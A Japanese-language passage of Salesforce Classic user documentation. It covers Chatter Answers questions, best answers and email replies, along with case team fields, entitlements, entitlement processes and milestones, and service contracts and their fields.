• [ビュー] ドロップダウンリストから定義済みリストビューを選択する。質問を絞り込むことのできる定義

済みリストには、次のものがあります。
– 最良の回答がある質問
– 最良の回答がない質問

• [新規ビューの作成] をクリックして、独自のカスタムリストビューを定義する。作成したビューを編集ま
たは削除するには、[ビュー] ドロップダウンリストから選択し、[編集] をクリックします。

• 質問リストビューページで [新規質問] をクリックするか、[質問] 概要ページの [最近の質問] リストで [新
規] をクリックし、新しい質問を作成します。
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• をクリックして、更新されたリストを更新する。
• リストから質問を選択し、次の操作を実行する。

– お客様に返信するには、回答またはコメントを入力して、[顧客 & ゾーンへの回答] をクリックします。
– をクリックして、選択します。

• コミュニティから質問を削除するには、[削除] をクリックします。
• 質問からケースを作成するには、[ケースにエスカレーション] をクリックします。
• 既存の質問の項目を編集するには、[編集] をクリックします。

– 質問のいずれかの返信で をクリックし、次のいずれかを選択します。
• コミュニティから返信を削除するには、[削除]。
• 返信をドラフト記事として知識ベースに追加する場合は、[記事に昇格] (システム管理者が設定して

いる場合に選択可能)。
• 既存の返信の項目を編集するには、[編集] をクリックします。

– 質問が非公開の場合、つまりサポートエージェントのみが質問を表示して回答できる場合は、ケースリ
ンクをクリックして、質問に自動的に関連付けられたケースを表示できます。

メモ:  [質問] タブは Chatter アンサー向けですが、アンサー機能からの質問の参照に使用することもできま
す。

関連トピック:

質問ホームページ

Chatter アンサーの [Q&A] タブでの質問と回答の検索

エディション

使用可能なエディション:
Salesforce Classic

Chatter アンサーを使用可
能なエディション:
Enterprise Edition、
Developer Edition、
Performance Edition、およ
び Unlimited Edition

ユーザ権限

質問を参照する
• 質問に対する「参照」

Chatter アンサーの [Q&A] タブを検索して、質問と返信、最良の回答、回答をすば
やく見つけるのに役立つ Salesforce ナレッジ記事を見つけます。[Q&A] タブで検索
すると、重複する質問の投稿を避けることができます。

メモ: Chatter アンサーは、Winter '18 以降すべての Salesforce組織で廃止が予定
されています。詳細は、「Chatter アンサーは Winter ’18 で廃止」を参照して
ください。Summer '16 以降、新規組織で Chatter アンサーは使用できません。
代わりに、Chatter の質問 (Chatter にシームレスに統合された Q&A 機能) を使
用できます。Chatter の質問を使用すれば、Chatter から移動せずに質問した
り、答えを検索したりできます。既存の組織は、Summer '16 より前に Chatter

アンサーを有効化していれば、今後 Winter '18 まで Chatter アンサーに引き続
きアクセスできます。

1. [Q&A] タブの検索ボックスに、質問を入力します。
2. ゾーンで一致する質問と記事を参照するには、虫眼鏡アイコンをクリックし

ます。
結果には、Salesforce ナレッジ記事 (有効な場合) も表示されます。

Chatter アンサーの [Q&A] タブの検索を次の条件に基づいて絞り込むことができます。
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• [すべての質問] は、ゾーン内のすべての質問と、Salesforce ナレッジ記事 (有効な場合) を表示します。
• [未回答の質問] は、返信のない質問をすべて表示します。
• [未解決の質問] は、最良の回答がない質問をすべて表示します。
• [解決済みの質問]は、最良の回答がある質問すべてと、Salesforce ナレッジ記事 (有効な場合) を表示します。
• [私の質問] は、自分がした質問と自分がフォローしている質問をすべて表示します。
表示された結果を次のオプションに基づいて並び替えることができます。
• [投稿日] は、質問された日時の新しい順に質問を並び替えます。
• [最近の活動] は、返信とコメントの新しい順に質問を並び替えます。
• [最も人気のある] は、いいね!、賛成票、フォローされている数の多い順に質問を並び替えます。

メモ: ページ上部にあるヘッダーの検索ボックスから、[Q&A] タブには含まれない他のオブジェクトを検
索できます。内部ユーザが実行するグローバル検索では、組織内で使用できるすべての質問から結果が
返されます。Salesforce Communities の他のすべてのユーザが実行する検索では、コミュニティで使用でき
る質問から結果が返されます。

質問に対する最良の回答の選択

エディション

使用可能なエディション:
Salesforce Classic

Chatter アンサーを使用可
能なエディション:
Enterprise Edition、
Developer Edition、
Performance Edition、およ
び Unlimited Edition

ユーザ権限

質問を参照する
• 質問に対する「参照」

質問する、および質問に
返信する
• 質問に対する「作成」

メモ: Chatter アンサーは、Winter '18 以降すべての Salesforce組織で廃止が予定
されています。詳細は、「Chatter アンサーは Winter ’18 で廃止」を参照して
ください。Summer '16 以降、新規組織で Chatter アンサーは使用できません。
代わりに、Chatter の質問 (Chatter にシームレスに統合された Q&A 機能) を使
用できます。Chatter の質問を使用すれば、Chatter から移動せずに質問した
り、答えを検索したりできます。既存の組織は、Summer '16 より前に Chatter

アンサーを有効化していれば、今後 Winter '18 まで Chatter アンサーに引き続
きアクセスできます。

ユーザが質問した後、その他のコミュニティーメンバーが投稿した回答をモニ
タリングし、回答のいずれかを最良の回答として選択する必要があります。最
良の回答は質問の真下に強調表示されるため見つけやすくなり、コミュニティ
メンバーが質問に対し最も役立つ解決法を特定できます。
Salesforce のシステム管理者と質問を投稿したユーザのみが返信を最良の回答と
してマークできます。
最良の回答を選択する手順は、次のとおりです。
1. [Q&A] タブから質問を検索して、そのタイトルをクリックします。
2. 最良の回答とする回答を決定し、[「最良の回答」として選択] をクリックし

ます。
最良の回答を特定するために、各回答の投票 (「参考になった」「参考にならなかった」) を確認してくだ
さい。「参考になった」が最も多い回答には、最も役立つ情報が含まれていると考えられます。質問に多
くの回答がある場合、リストの上部に「参考になった」「参考にならなかった」が最も多い回答が表示さ
れるよう、[最多投票] で回答を並び替えます。

最良の回答を選択した後、次のようになります。
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• 質問が「解決済み」としてマークされます。コミュニティメンバーは、解決済みの質問に対する回答の投
稿と投票を続けることができます。

• より参考になる回答がその後投稿されると、その回答を最良の回答に選択すると、以前の最良の回答と置
き換えられます。

• 回答に設定された最良の回答状況はいつでも削除することができます。回答から最良の回答状況を削除す
ると、通常の回答になります。

Chatter アンサーのメール通知への返信

エディション

使用可能なエディション:
Salesforce Classic

Chatter アンサーを使用可
能なエディション:
Enterprise Edition、
Developer Edition、
Performance Edition、およ
び Unlimited Edition

メール通知を受信した場合、そのメールに返信することにより、返答をコミュ
ニティに投稿できます。

メモ: Chatter アンサーは、Winter '18 以降すべての Salesforce組織で廃止が予定
されています。詳細は、「Chatter アンサーは Winter ’18 で廃止」を参照して
ください。Summer '16 以降、新規組織で Chatter アンサーは使用できません。
代わりに、Chatter の質問 (Chatter にシームレスに統合された Q&A 機能) を使
用できます。Chatter の質問を使用すれば、Chatter から移動せずに質問した
り、答えを検索したりできます。既存の組織は、Summer '16 より前に Chatter

アンサーを有効化していれば、今後 Winter '18 まで Chatter アンサーに引き続
きアクセスできます。

質問に関連するメール通知を受信したとき、メールから直接返信でき、返信は
[Q&A] タブに回答として表示されます。次のイベントについてメール通知を受信します。
• 自分がした質問か、フォローしている質問に他のユーザが回答した。
• カスタマーサポートまたはモデレータが、自分がした質問か、フォローしている質問への最良の回答を選

択した。

メモ: メール通知に返信するには、システム管理者が [Chatter アンサーの設定] ページでメールの返信を有
効化する必要があります。

メールの返信を送信するときに、次のヒントを考慮してください。
• 返信は、プロファイルで指定したメールアドレスから送信する必要があります。メールエイリアス (別名設

定) やメール転送サービスなど、別のメールアドレスから返信するサービスを使用すると、返信は処理され
ません。

• 返信に個人のメール署名が含まれる場合、署名テキストはコメントの一部として処理されます。「iPhone

から送信」のようにモバイルデバイスによって送信されたデフォルト署名は、返信から自動的に削除され
ます。返信前に、コミュニティに投稿しないカスタム署名と余分なテキストを削除してください。

• 返信の添付ファイルは無視されます。
• リッチテキストまたは他の形式のマークアップが含まれる投稿は、メール通知の本文ではテキスト形式で

表示されます。
• 「外出中」などの自動メッセージへの返信は、システムで無視されます。
• 返信する前に、メールの [宛先] 項目に表示されるメールアドレスを確認します。有効なアドレスには、

w8t27apy1@j321imd9gbs.d8rx.d.chatter.salesforce.comのように、@ マークの前後の両方にトー
クン、つまり長い文字列が含まれています。メールアプリケーションには、元のメールの [差出人]アドレ
ス (ReplyToQ&A@<your.company>.com など) を自動的に使用するものもありますが、これは返信を受信
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できる有効なアドレスではありません。返信メールの [宛先] 項目にこの短縮アドレスが表示されている
場合は、メールのヘッダー情報の有効な返信先アドレスに置き換えます。たとえば、IBM® Lotus Notes® など
のアプリケーションでは、次のようにします。
1. 元のメールを開きます。
2. [表示] > [表示] > [ページソース] をクリックします。
3. ReplyToQ&A セクションで、w8t27apy1@j321imd9gbs.d8rx.d.chatter.salesforce.com などの

メールアドレスをコピーします。
4. 返信メールの [宛先] 項目に返信アドレスを貼り付けます。

他のユーザによる顧客からの問い合わせの解決

ケースチームの項目

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition

ケースチームには次の項目があります (アルファベット順)。項目が使用できるか
どうかは、システム管理者の Salesforce 設定によって決まります。

説明項目

チームメンバーのケースに対するアク
セスレベル (「参照・更新」、「参照
のみ」、「非公開」など)。ケースのア
クセス権は、組織のデフォルトのケー
ス共有アクセス権よりも権限の小さい
ものにはできません。

ケースのアクセス権

ケースチームのユーザの名前。メンバーの名前

チームメンバーのケースに対する役割
(サポートエージェント、ケースマネー
ジャなど)。

メンバーロール

ケースチームメンバーがカスタマー
ポータルに表示されるかどうかを示し
ます。

カスタマーポータルに公開

関連トピック:

ケースチーム
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サービス契約の作成と確認

エンタイトルメント

エンタイトルメント

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition (Service
Cloud 付属)

エンタイトルメントは、Salesforce のカスタマーサポートのユニット (「電話サ
ポート」や「Web サポート」など) です。通常、これらはサービス契約の条件を
表すために使用されます。エンタイトルメントを使用して、顧客がサポートの
対象であるかどうかを確認し、ケースや作業指示などのサポートレコードを顧
客に作成することができます。
エンタイトルメントは、取引先、納入商品、取引先責任者、サービス契約に関
連付けることができます。たとえば、電話サポートのエンタイトルメントを取
引先に追加できます。その取引先の取引先責任者からサービス部門に問い合わ
せがあった場合、サポートエージェントは、取引先責任者に電話サポートを受
ける資格があるかどうかをすばやく確認できます。

エンタイトルメントはそれ自体で使用することも、エンタイトルメントプロセスの一環として使用することも
できます。エンタイトルメントプロセスは、エージェントがサポートレコードを解決するために完了する必要
のあるすべてのステップを含むタイムラインです。更新プロセスなどの機能や複数のサービスレベルが含まれ
る、Salesforce のより複雑なサービスレベル契約を表すために、サービス契約および契約品目名を使用できま
す。
[エンタイトルメント] タブから Salesforceのエンタイトルメントを表示および管理します。エンタイトルメント
の設定に応じて、取引先、取引先責任者、納入商品、またはサービス契約の [エンタイトルメント] 関連リスト
を使用することもできます。

関連トピック:

エンタイトルメントを処理するためのガイドライン
エンタイトルメントの用語
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エンタイトルメントを処理するためのガイドライン

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition (Service
Cloud 付属)

ユーザ権限

エンタイトルメントを参
照する
• エンタイトルメントに

対する「参照」

エンタイトルメントを編
集する
• エンタイトルメントに

対する「編集」

エンタイトルメントを作
成またはコピーする
• エンタイトルメントに

対する「作成」

エンタイトルメントを削
除する
• エンタイトルメントに

対する「削除」

Salesforce のエンタイトルメントは、顧客が顧客サポートを受ける対象となるか
どうかを指定します。エンタイトルメントに関する一般的なアクションの実行
について学習します。
エンタイトルメントの表示

エンタイトルメントは、[エンタイトルメント] タブまたは次の項目にある [エ
ンタイトルメント] 関連リストで表示できます。
• 取引先
• 納入商品
• 取引先責任者
• サービス契約
特定の取引先、取引先責任者、納入商品、またはサービス契約に関連付けら
れているエンタイトルメントを参照するには、そのレコードの [エンタイト
ルメント] 関連リストに移動します。

ヒント: 組織のコンソールがエンタイトルメントを含むように設定され
ている場合、1 か所でエンタイトルメントとその関連レコードを表示、
編集するには、[コンソール] タブをクリックします。

エンタイトルメントの作成
[エンタイトルメント] タブまたは取引先、納入商品、またはサービス契約の
[エンタイトルメント] 関連リストからエンタイトルメントを作成および編集
できます。
業務によっては、Salesforce でエンタイトルメントを顧客にリンクするための
独自のプロセスがある場合もあります。最も簡単な方法は、[エンタイトルメ
ント] 関連リストを使用して顧客の取引先にエンタイトルメントを作成する
ことです。次にその取引先ですべての取引先責任者にエンタイトルメントを
使用します。取引先に取引先責任者を作成しても、その取引先責任者は取引
先からエンタイトルメントを自動的に継承しません。システム管理者が、取
引先の新しい取引先責任者にエンタイトルメントを作成する自動化を設定す
る場合があります。

メモ:

• 既存のエンタイトルメントを取引先責任者や商品に追加することはできますが、取引先責任者や商
品レコードからエンタイトルメントを作成することはできません。

• エンタイトルメントの[コピー]をクリックして、既存のエンタイトルメントからエンタイトルメン
トをすばやく作成できます。

エンタイトルメントの削除
エンタイトルメントは、エンタイトルメントの詳細ページ、[エンタイトルメント] 関連リスト、または [エ
ンタイトルメント] タブで削除できます。削除したエンタイトルメントはごみ箱に移動されます。エンタイ
トルメントに関連するメモ、添付ファイル、または活動も削除されます。エンタイトルメントを元に戻す
と、関連する項目も復元されます。
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メモ: オープンなケースや作業指示があるエンタイトルメントは削除できません。

エンタイトルメントの共有
エンタイトルメントは共有できません。エンタイトルメントでは、関連付けられている取引先と同じ共有
モデルが使用されます。
顧客をエンタイトルメントに関連付けても、エンタイトルメントはその顧客と共有されません。顧客が自
分のエンタイトルメントを表示するには、外部コミュニティでエンタイトルメントが設定されている必要
があります。

関連トピック:

エンタイトルメントの確認
エンタイトルメントの用語
エンタイトルメントの項目

エンタイトルメントの確認

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition (Service
Cloud 付属)

ユーザ権限

エンタイトルメントを参
照する
• エンタイトルメントに

対する「参照」

取引先、取引先責任者、
納入商品、およびサービ
ス契約を参照する
• そのオブジェクトに対

する「参照」

Salesforce の各エンタイトルメントは、特定の取引先に関連付けられています。
ケースまたは作業指示を作成、更新する前に、顧客がカスタマーサポートの対
象になっていることを確認します。

確認手順確認場所確認内容

取引先詳細ページ特定の取引先の 1 つ以上
の取引先責任者がサポー
トの対象であるかどうか

1. 取引先を表示します。
2. エンタイトルメント関

連リストにエンタイト
ルメントが表示されて
いることを確認しま
す。

取引先責任者の詳細ペー
ジ

特定の取引先責任者が取
引先責任者の詳細ページ
のサポート対象であるか
どうか

1. 取引先責任者を表示し
ます。

2. エンタイトルメント関
連リストにエンタイト
ルメントが表示されて
いることを確認しま
す。

納入商品の詳細ページ特定の納入商品 (購入商
品) がサポートの対象であ
るかどうか

1. [商品] タブの関連リス
トまたは納入商品リス
トビューで納入商品を
検索します。

2. 納入商品名をクリック
します。
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確認手順確認場所確認内容

3. エンタイトルメント関連リスト
にエンタイトルメントが表示さ
れていることを確認します。

サービス契約の詳細ページサービス契約に特定のエンタイト
ルメントが含まれるかどうか

1. [サービス契約] タブを表示しま
す。

2. サービス契約名をクリックしま
す。

3. エンタイトルメント関連リスト
に問題のエンタイトルメントが
表示されていることを確認しま
す。

エンタイトルメントを確認したら、エンタイトルメントの詳細ページで[新規ケース]をクリックして、エンタ
イトルメントに関連するケースを作成します。ケースには、正しいエンタイトルメント、取引先、取引先責任
者、および納入商品の情報が自動的に含まれます。または、ケースの [エンタイトルメント名] 参照項目を使
用して、既存のケースにエンタイトルメントを追加できます。

関連トピック:

エンタイトルメントを処理するためのガイドライン

エンタイトルメントの用語

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition (Service
Cloud 付属)

Salesforceのエンタイトルメント機能に関連する有用な用語について説明します。
エンタイトルメント

Salesforceのカスタマーサポートのユニット (「電話サポート」や「Web サポー
ト」など)。通常、これらは保証の条件を表すために使用されます。エンタイ
トルメントは、取引先、納入商品、取引先責任者、サービス契約に関連付け
ることができます。エンタイトルメントは、[エンタイトルメント] タブや、
取引先、納入商品、取引先責任者、サービス契約の [エンタイトルメント] 関
連リストに表示されます。

エンタイトルメント取引先責任者
カスタマーサポートを受ける資格がある取引先責任者 (指定された発信者な
ど)。エンタイトルメントの [取引先責任者] 関連リストには、そのエンタイト
ルメントの対象である取引先責任者が表示されます。取引先責任者は、関連
リストから直接、あるいは取引先責任者レコード自体を更新して、削除または追加できます。エンタイト
ルメントの取引先責任者でない顧客へのサポートが、会社で許可されていない場合があります。
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メモ:

• 取引先の取引先責任者は、取引先のエンタイトルメントを自動的には継承しません。ビジネスプロ
セスによっては、取引先の取引先責任者ごとに個別のエンタイトルメントを作成することが必要に
なる場合もあります。また、取引先責任者の作成時に自動的にエンタイトルメントを取引先責任者
に割り当てる Apex トリガを設定することもできます。

• エンタイトルメント取引先責任者には、ページレイアウト、検索レイアウト、ボタン、リンク、ま
たはレコードタイプはありません。

• 親取引先に適用される表示設定と共有設定が取引先責任者に適用されます。取引先責任者をエンタ
イトルメントに関連付けても、エンタイトルメントレコードは、取引先責任者または関連コミュニ
ティユーザと共有されません。

エンタイトルメントテンプレート
Salesforce の商品にすばやく追加できるカスタマーサポートの定義済み条件。たとえば、ユーザが顧客が購
入した商品にエンタイトルメントを容易に追加できるよう、電話サポートまたは Web サポートのエンタイ
トルメントテンプレートを作成できます。

エンタイトルメント管理
顧客に適切なサービスレベルを提供できる Salesforce 機能のコレクション。次のような機能があります。
• エンタイトルメント - 顧客がサポートの対象かどうかをサポートエージェントが判断できます。
• エンタイトルメントプロセス - ケースまたは作業指示などのサポートレコードを解決するためにサポー

トチームが実行する必要のあるすべてのステップを含むタイムラインです。
• サービス契約 - 保証契約、登録契約、保守契約など、さまざまな種類の顧客サポートを表示できます。

サービス契約の対象を特定の商品に限定できます。
• エンタイトルメントへのコミュニティアクセス - コミュニティユーザがエンタイトルメントおよびサー

ビス契約を参照し、そこからサポートレコードを作成できます。
• エンタイトルメント管理のレポート作成 - Salesforce 組織でエンタイトルメントがどのように使用されて

いるか、およびサービス契約の条件を満たしているかどうかを追跡できます。
ビジネスニーズに応じて、これらの機能のすべてを使用するのか、一部のみを使用するのかを決定できま
す。

サービス契約
ユーザと顧客の間に交わされたカスタマーサポート契約。Salesforce のサービス契約は、保証、登録内容、
サービスレベル契約 (SLA)、およびその他の種類のカスタマーサポートを示します。サービス契約は、[サー
ビス契約] タブや、取引先または取引先責任者の [サービス契約] 関連リストに表示されます。

契約品目名
サービス契約に含まれる商品を指定します。契約品目名は、サービス契約の [契約品目名] 関連リストに表
示され、契約の関連リストには表示されません。組織が商品を使用する場合にのみ、契約品目名を使用で
きます。

メモ: スケジュールは契約品目名に表示されず、コミュニティユーザは契約品目名にアクセスできま
せん。

エンタイトルメントプロセス
サポートエージェントがサポートレコードを解決するために実行する必要のあるすべてのステップ (マイル
ストン) を含むタイムライン。各プロセスには、顧客に適切なサービスレベルをどのように設定するかを決
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めるために必要なロジックが含まれています。エンタイトルメントプロセスは、ケースと作業指示の 2 つ
の種類で提供されます。
すべてのエンタイトルメントにプロセスが必要なわけではありません。たとえば、単純なエンタイトルメ
ントでは、顧客が年中無休 24 時間の電話サポートの対象であることしか示しません。顧客のケースが未解
決のまま 2 時間が経過したらスーパーバイザにメールで通知する場合など、この定義に時間ベースのステッ
プまたはサービスレベルを追加する必要があるときは、エンタイトルメントプロセスが必要です。

マイルストン
エンタイトルメントプロセスの必要なステップ。マイルストンは、各顧客に提供するサービスレベルを示
す指標です。たとえば、マイルストンには、ケースの最初の対応や解決時間が含まれます。

マイルストンアクション
エンタイトルメントプロセスのマイルストンで発生する、時間ベースのワークフローアクション。たとえ
ば、次のようなアクションをマイルストンに追加できます。
• 最初の対応マイルストンの期限が切れる予定の 1 時間前に特定のユーザにメールアラートを送信する
• 最初の対応が完了した 1 分後にケースの特定の項目を更新する
次の 3 種類のマイルストンアクションがあります。
• 成功時のアクション: マイルストンの完了時にトリガされる
• 警告時のアクション: マイルストンが違反に近いときにトリガされる
• 違反時のアクション: マイルストンが違反したときにトリガされる
各アクション種別の ToDo、メールアラート、項目更新、アウトバウンドメッセージを自動化できます。

関連トピック:

エンタイトルメント

エンタイトルメントの項目

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition (Service
Cloud 付属)

エンタイトルメントには次の項目があります。ページレイアウト設定と項目レ
ベルセキュリティ設定によっては、これらの項目には表示できないものや編集
できないものがあります。

説明項目

エンタイトルメントに関連付けられて
いる取引先。すべてのエンタイトルメ
ントは取引先にリンクされている必要
があります。

取引先名

エンタイトルメントに関連付けられて
いる納入商品。
商品は、会社が販売するアイテム (た
とえば、ラップトップケース) を示し、

納入商品名

納入商品は、顧客が購入した特定の商
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説明項目

品 (John が購入したラップトップケース) を示します。

エンタイトルメントのサポートされている営業時間。
エンタイトルメントの営業時間についての詳細は、
「エンタイトルメント管理での営業時間の機能」を参
照してください。

営業時間

エンタイトルメントがサポートするケース数を制限し
ます。
顧客とのサービス契約が、日数やその他の条件ではな
くケース数に基づいている場合は、この項目を使用し
ます。そうでない場合は必要ありません。

障害あたり

メモ: このオプションは、作業指示には使用で
きません。

このエンタイトルメントがサポートするケース数の合
計。
この項目は、[障害あたり] 項目が選択されている場
合にのみ表示されます。

エンタイトルメントあたりのケース

エンタイトルメントに関連付けられた契約品目名 (商
品)。

契約品目名

エンタイトルメントが有効な最後の日。
この項目は、Apex トリガまたはクイックアクションで
入力するように設定していなければ、空白です。たと

終了日

えば、[終了日] を [開始日] の 365 日後に設定するク
イックアクションを作成できます。

エンタイトルメントの名前。
電話サポートのように、内容がわかるような名前を使
用することをお勧めします。これにより、取引先、取

エンタイトルメント名

引先責任者、納入商品の関連リストに表示された場合
に、エンタイトルについてわかりやすくなります。

エンタイトルメントの作業指示に従う必要がある稼働
時間。この項目が表示されるのは、Field Service Lightning

が有効である場合のみです。

稼働時間
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説明項目

エンタイトルメントに関連付けられているサービス契
約。
[参照] ダイアログボックスでサービス契約をすばやく
検索するには、[絞り込み条件] 項目から条件を選択

サービス契約

します。管理者は、ルックアップ検索条件を設定し
て、検索条件の値および結果を制限します。

エンタイトルメントが有効な最初の日。
この項目は、Apexトリガまたはクイックアクションで
入力するように設定していなければ、空白です。たと

開始日

えば、[開始日] を [状況] が[有効] に変更された日
に設定するクイックアクションを作成できます。

エンタイトルメントプロセスのエンタイトルメントへ
の追加。
エンタイトルメントプロセスは、サポートチームが
ケースを解決するために実行する必要のあるすべての

エンタイトルメントプロセス

ステップ (マイルストン) を含むタイムラインです。各
プロセスには、顧客に適切なサービスレベルをどのよ
うに実施するかを決めるためのロジックが含まれてい
ます。

このエンタイトルメントがサポートできるケース数。
このエンタイトルメントが関連付けられたケースが作
成されるごとに、この項目の値が小さくなります。
この項目は、[障害あたり] 項目が選択されている場
合にのみ表示されます。

残りケース

エンタイトルメントの状況。
状況は、Salesforce組織の現在のシステム日付とエンタ
イトルメントの [開始日] および [終了日] によって
決まります。状況は次のように設定されます。

状況

• システム日付が [開始日] 以降で [終了日] 以前の
場合は有効。

• システム日付が [終了日] より後の場合は期限切
れ。

• システム日付が [開始日] より前の場合は無効。

次のアイコンのいずれかによって、エンタイトルメン
トの状態を示します。

状況アイコン

• 有効
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説明項目

• 期限切れ
• 無効

Web サポート、電話サポートなど、エンタイトルメン
トの種別。
管理者は項目の値をカスタマイズできます。

種類

関連トピック:

エンタイトルメントの用語

サービス契約

サービス契約

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition (Service
Cloud 付属)

Salesforce のサービス契約は、ユーザと顧客の間に交わされたカスタマーサポー
ト契約です。サービス契約によって、保証、登録内容、サービスレベル契約
(SLA)、その他の種類のカスタマーサポートを示すことができます。
サービス契約は、高度なエンタイトルメント機能です。次の場合に使用が必要
な可能性があります。
• 保証、登録内容、サービスレベル契約など、顧客向けの特定のサービスレベ

ルを定義する。
• 顧客のエンタイトルメントが契約レベルで更新される。つまり、顧客に有効

なサービス契約があるときにのみビジネスプロセスで顧客のエンタイトルメ
ントを作成できる場合。

Salesforceの [サービス契約] タブでサービス契約を表示および管理します。サービ
ス契約の設定に応じて、取引先および取引先責任者の [サービス契約] 関連リス
トを使用することもできます。

関連トピック:

サービス契約を使用するためのガイドライン
サービス契約の項目
サービス契約の設定
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サービス契約を使用するためのガイドライン

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition (Service
Cloud 付属)

ユーザ権限

サービス契約を参照にす
る
• サービス契約に対する

「参照」

サービス契約を編集する
• サービス契約に対する

「編集」権限

サービス契約を作成また
はコピーする
• サービス契約に対する

「作成」

サービス契約を削除する
• サービス契約に対する

「削除」

サービス契約は、カスタマーサポートの種類について、ユーザと顧客の間に交
わされた契約です。サービス契約の基本アクションを実行する方法について説
明します。
サービス契約の表示

サービス契約は、[サービス契約] タブ、または取引先や取引先責任者の [サー
ビス契約] 関連リストに表示されます。サービス契約の詳細を表示するには、
サービス契約名をクリックします。関連付けられたエンタイトルメント、契
約品目名、項目の更新履歴などが表示されます。
取引先または取引先責任者の [サービス契約] 関連リストには、その項目に関
連付けられているすべてのサービス契約が表示されます。

ヒント: コンソールにサービス契約が設定されている場合、[コンソール]

タブをクリックして検索し、サービス契約とそれに関連するレコードを
1 画面内で検索、表示、編集できます。

サービス契約の作成
サービス契約は、次の場所から作成および編集できます。
• [サービス契約] タブ
• 取引先および取引先責任者の [サービス契約] 関連リスト
各サービス契約をSalesforceの取引先にリンクすることをお勧めします。そう
することで、サービス契約のエンタイトルメントを作成し、取引先に関連付
けられた取引先責任者にエンタイトルメントを割り当てることができます。

ヒント:

• サービス契約の [コピー] をクリックして、既存のサービス契約から
新しいサービス契約をすばやく作成できます。

• 1 つのサービス契約を別のサービス契約の親にするには、[親サービ
ス契約] 項目と [子サービス契約] 関連リストを使用します。これに
よって、複雑な契約を表すことができます。

• エンタイトルメントはサービス契約内の条件を反映し、サービス契
約は複数のエンタイトルメントに関連付けられている場合がありま
す。エンタイトルメントをサービス契約にリンクするには、サービ
ス契約の [エンタイトルメント] 関連リストまたはエンタイトルメン
トの [サービス契約] 参照項目を使用します。

サービス契約の削除
サービス契約の詳細ページまたは [サービス契約] 関連リストからサービス契約を削除できます。
削除したサービス契約はごみ箱に移動されます。サービス契約に関連するメモ、添付ファイル、活動、ま
たは契約品目名も削除されます。サービス契約を元に戻すと、関連する項目も復元されます。
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メモ:

• 有効なエンタイトルメントまたは期限の切れたエンタイトルメントを含むサービス契約は削除でき
ません。サービス契約に問題がある場合などにエンタイトルメントを含むサービス契約を削除する
には、そのエンタイトルメントを別のサービス契約に追加してからサービス契約を削除します。

• 親サービス契約と子サービス契約が両方存在するサービス契約を削除する場合は、その親と子が
サービス契約階層でリンクされなくなることに注意してください。

サービス契約の共有
共有ルールを使用して、デフォルトの共有モデルで許可されている以外の、サービス契約に対する他のユー
ザのアクセスを許可できます。ただし、デフォルトのモデルよりも厳しくするために共有モデルを変更す
ることはできません。
サービス契約へのアクセス権のあるユーザを確認するには、サービス契約の詳細ページで [共有] をクリッ
クします。共有の詳細ページが表示されます。そのページで次の操作を実行できます。
• サービス契約へのアクセス権があるユーザのリストを表示する。
• [追加]をクリックして他のユーザ、グループ、ロール、またはテリトリーのレコードへのアクセス権を

付与する。サービス契約の「参照」権限があるユーザとのみ、サービス契約を共有できます。
• 共有の直接設定ルールを作成、編集、および削除する。
• サービス契約へのアクセス権があるユーザのリストを絞り込むカスタムビューを定義する。

ユーザ間のサービス契約の移行
ユーザへの複数のサービス契約の移行が必要な場合があります。これを行うには、[サービス契約] タブを
クリックし、[ツール] セクションの [サービス契約所有権の移行] をクリックします。

関連トピック:

サービス契約
サービス契約の項目

サービス契約の項目

エディション

使用可能なエディション:
Salesforce Classic

使用可能なエディション:
Professional Edition、
Enterprise Edition、
Performance Edition、
Unlimited Edition、および
Developer Edition (Service
Cloud 付属)

サービス契約には次の項目があります。ページレイアウト設定と項目レベルセ
キュリティ設定によっては、これらの項目には表示できないものや編集できな
いものがあります。

説明項目

サービス契約を購入または所有する取
引先。

取引先名

サービス契約が最初に有効になった
日。*

有効化日

承認プロセス状況の項目。サービス契
約の承認プロセスがある場合、この項
目に承認プロセスの現在のフェーズが
示されます。

承認 状況
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説明項目

請求先住所の市区郡部分。最大 40 文字です。市区郡(請求先)

請求先住所の国名部分。エントリは標準値の選択リス
トから選択するか、テキストとして入力します。項目
がテキスト項目の場合は、最大 80 文字です。

国(請求先)

請求先住所の都道府県部分。エントリは標準値の選択
リストから選択するか、テキストとして入力します。
項目がテキスト項目の場合は、最大 80 文字です。

都道府県(請求先)

請求先住所の郵便番号部分。最大 20 文字です。郵便番号(請求先)

サービス契約に関連付けられた取引先責任者。ドロッ
プダウンリストから選択します。

取引先責任者名

サービス契約の名前。
ビジネスニーズによっては、顧客の名前、契約終了
日、契約の対象となる商品の種別、その他の情報を含
めると役立つ場合があります。

契約名

サービス契約を特定する自動生成番号。(参照のみ)契約番号

サービス契約を作成したユーザ。(参照のみ)作成者

サービス契約が作成された日付。*作成日

サービス契約のすべての金額項目で使用する通貨。マ
ルチ通貨を使用する組織でのみ表示されます。
契約品目名のあるサービス契約の通貨は変更できませ
ん。

通貨

サービス契約の説明。この項目には最大 32 KB までの
データを入力できます。
エージェントがサービス契約の提供範囲を理解しやす
い情報を含めてください。たとえば、「この契約は、

説明

2 時間以内の初回応答および 24 時間以内のケース解決
が顧客に提供されます。」とします。

サービス契約の契約品目名のすべての割引に対する重
み付きの平均。100 までの正の数です。(参照のみ)

割引

サービス契約が有効な最後の日。*

この項目は、Apexトリガまたはクイックアクションで
入力するように設定していなければ、空白です。たと

終了日

えば、[終了日] を [開始日] の 365 日後に設定するク
イックアクションを作成できます。
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説明項目

送料および税金を加えたサービス契約の合計金額。
(参照のみ)

総計

最後にサービス契約を変更したユーザ。(参照のみ)最終更新者

